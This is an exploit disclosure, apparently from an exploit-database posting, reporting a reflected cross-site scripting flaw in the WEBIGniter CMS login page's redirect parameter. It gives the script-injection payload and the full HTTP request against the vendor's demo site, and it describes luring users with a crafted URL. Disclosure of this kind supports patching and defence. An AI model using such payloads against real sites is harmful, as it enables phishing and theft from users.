## Title: WEBIGniter-28.7.23-XSS-Reflected ## Author: nu11secur1ty ## Date: 09/04/2023 ## Vendor: https://webigniter.net/ ## Software: https://webigniter.net/demo ## Reference: https://portswigger.net/web-security/cross-site-scripting ## Description: The value of the redirect request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ycsz3"><script>alert(1)</script>bn76w was submitted in the redirect parameter. This input was echoed unmodified in the application's response. By using this Java Script injection, the attacker can trick a lot of users into visiting his dangerous URL which is reflected on the login form, before they log in, warning them that there is a problem with the login, which is very nasty and DANGEROUS! ## Staus: HIGH Vulnerability [+]Paylod: ```GET GET /cms/login?redirect=cmsycsz3%22%3e%3cscript%3ealert(1)%3c%2fscript%3ebn76w HTTP/1.1 Host: demo.webigniter.net Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36 Connection: close Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="116", "Chromium";v="116" Sec-CH-UA-Platform: Windows Sec-CH-UA-Mobile: ?0 ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WEBIGniter/2023/WEBIGniter-28.7.23-XSS-Reflected) ## Proof and Exploit [href](https://www.nu11secur1ty.com/2023/09/webigniter-28723-xss-reflected.html) ## Time spent: 01:35:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>